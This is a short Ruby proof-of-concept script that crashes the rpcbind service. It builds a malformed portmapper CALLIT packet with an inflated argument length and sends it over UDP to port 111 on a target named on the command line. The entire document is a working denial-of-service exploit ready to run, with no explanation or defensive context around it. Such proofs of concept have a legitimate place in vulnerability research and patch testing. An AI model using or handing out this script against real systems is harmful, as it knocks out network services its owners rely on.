require
'socket'
def
usage
abort
"\nusage: ./rpcbind_udp_crash_poc.rb <target>\n\n"
end
if
ARGV
.length ==
1
pkt = [rand(
2
**
32
)].pack(
'N'
)
pkt << [
0
].pack(
'N'
)
pkt << [
2
].pack(
'N'
)
pkt << [
100000
].pack(
'N'
)
pkt << [
2
].pack(
'N'
)
pkt << [
5
].pack(
'N'
)
pkt << [
0
].pack(
'N'
)
pkt << [
0
].pack(
'N'
)
pkt << [
0
].pack(
'N'
)
pkt << [
0
].pack(
'N'
)
pkt << [
0
].pack(
'N'
)
pkt << [
1
].pack(
'N'
)
pkt << [
1
].pack(
'N'
)
pkt << [
8945
].pack(
'N'
)
pkt <<
"crash"
s = UDPSocket.
new
s.send(pkt,
0
,
ARGV
[
0
],
111
)
else
usage
end